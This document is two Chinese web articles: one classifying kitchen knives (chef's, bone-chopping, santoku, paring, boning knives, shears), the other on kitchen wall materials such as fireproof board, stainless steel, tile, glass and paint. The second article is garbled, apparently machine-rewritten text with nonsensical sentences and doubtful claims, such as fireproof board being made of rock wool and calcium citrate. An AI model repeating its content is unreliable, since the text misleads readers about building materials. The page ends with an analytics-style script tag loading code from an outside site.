厨房刀的种类有哪些？厨房刀具的具体分类介绍

相信大家都知道厨房在烹饪过程中刀具是必备的工具，如果没有刀具，厨房的很多食材是很难准备好的，但是大家对于厨房使用的刀具有多少了解呢，一些不常烹饪的用户朋友可能只知道厨房有水果刀以及菜刀，其实厨房所需要的刀具是有很多种的，那么在今天的文章中我们会将厨房所用的刀具大致划分为三类来为大家进行介绍，接下来就一起来了解一下。主厨刀刀刃长度：15-30cm之间,20cm左右为最普遍的使用长度。主要功能：几乎可以胜任所有的工作，是一把万能刀，在手头刀具不齐的情况下一把主厨刀基本可以解决所有的基本准备工作了。包括刀身较厚，适用于砍猪肋骨、剁鸡、鸭骨架等较硬的食物的砍骨刀，适用于肉类、蔬菜、水果等较软实物的切配的切菜刀，轻巧刀身，特有气孔凹槽设计，防止食物粘贴在刀片上，适用于切割鱼肉类、熟食、蔬菜、瓜果等的三德刀等。副刀刀刃长度：10-18cm之间。主要功能：副刀的处境其实很尴尬，它比主刀小，因此在处理一些相对大的食材时显得不够用，同时又比削皮刀大，所以在做一些细致工作的时候呢又显得太笨拙，不过比较适合一些手比较小的女性厨师当做主厨刀来操作。包括刀身小巧，适用于各种蔬菜及水果去皮，切片和切丝的水果刀，重量较轻，刀身较窄而薄、钢质纯，刀口锋利，使用灵活方便。主要用途是加工片、条、丝等原料形状的片刀等。辅助刀具如专为东方家庭设计，全力打造便捷厨房，一把剪刀可以完成厨房所以的剪切工作的厨房剪，主要是负责给果蔬去皮以及雕花用的，同时还可以处理一些很细致很琐碎的东西的削皮刀因为刀身细长同时又很轻薄所以可以很好的为生肉去骨，甚至可以处理禽类以及鱼类的剔骨刀，体形较小，刀刃不甚锋利。多用于刮去菜板上的污物，有时也用于鲜鱼除鳞的刮刀等。在上文中，我们为大家介绍了有关厨房刀具的一些信息，我们在这篇文章中主要为大家介绍的是厨房刀具具体有哪些种类，其实很多用户在真正提到厨房刀具的种类之前对厨房刀具分类是很陌生的，在平时的生活中从来没有思考过这个问题，但是在今天我们为大家介绍之后，希望大家的认识能够加深一点，我们对于每个种类都举了一些例子，大家可以仔细看一看。

厨房墙面新材料有哪些 哪种装修材料比较好

众所周知，墙上有许多装饰材料，包括瓷砖，玻璃，不锈钢，防火板和油漆。事实上，每种装饰材料都有自己的优势，那么厨房墙面新材料有哪些?厨房墙面新材料有哪些防火板厨房墙面新材料有哪些?防火墙板由岩棉和柠檬酸钙制成。它具有耐高温的特点，不易染色，可以清洗，不褪色，根本不燃烧。它具有防火功能。同时，它可以隔音和吸音，隔热，防潮，不变形和保养也很方便。效果很好，可以作为炉子后面的主墙装饰。不锈钢厨房墙面新材料有哪些?新的不锈钢材料耐用且便携。它清洁阻燃，但质地较冷。与硬物接触时，修理起来并不容易。它不被人接受。一般情况下，建议将其应用于相邻炉灶的墙壁，以方便日后清洁。瓷砖瓷砖是厨房中最常用的材料之一。许多颜色维护良好，酸碱侵入不起作用。它可以用水洗。唯一必须考虑的是污垢容易积聚在凹槽中。一般来说，建议厨房墙壁的材料光滑，上釉，更容易清洁。市场上出现了抗菌瓷砖，抗菌效果是瓷砖的特征。钢化玻璃玻璃材料适用于面积小或照明良好的厨房。当油烟附着时，可以用清洁剂清洁。材料主要是钢化玻璃，记忆光滑的表面。该玻璃适用于非主壁的墙壁，其穿透性良好。此外，小型厨房使用透气玻璃材料来扩大视觉空间。彩色玻璃或玻璃砖具有玻璃墙的效果。涂料涂层是一种更便宜的选择，虽然它节省了资金，但这种材料使用起来更成问题。油很难清洗，几年后会再次使用，否则外观和浴室都会出现问题。当然，一些开放式厨房使用这种材料制作更开放的区域。许多工业涂料或多或少有毒，施工期间要注意通风。在施工后至少一周蒸发后在去房间住，不伤害家庭的健康。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();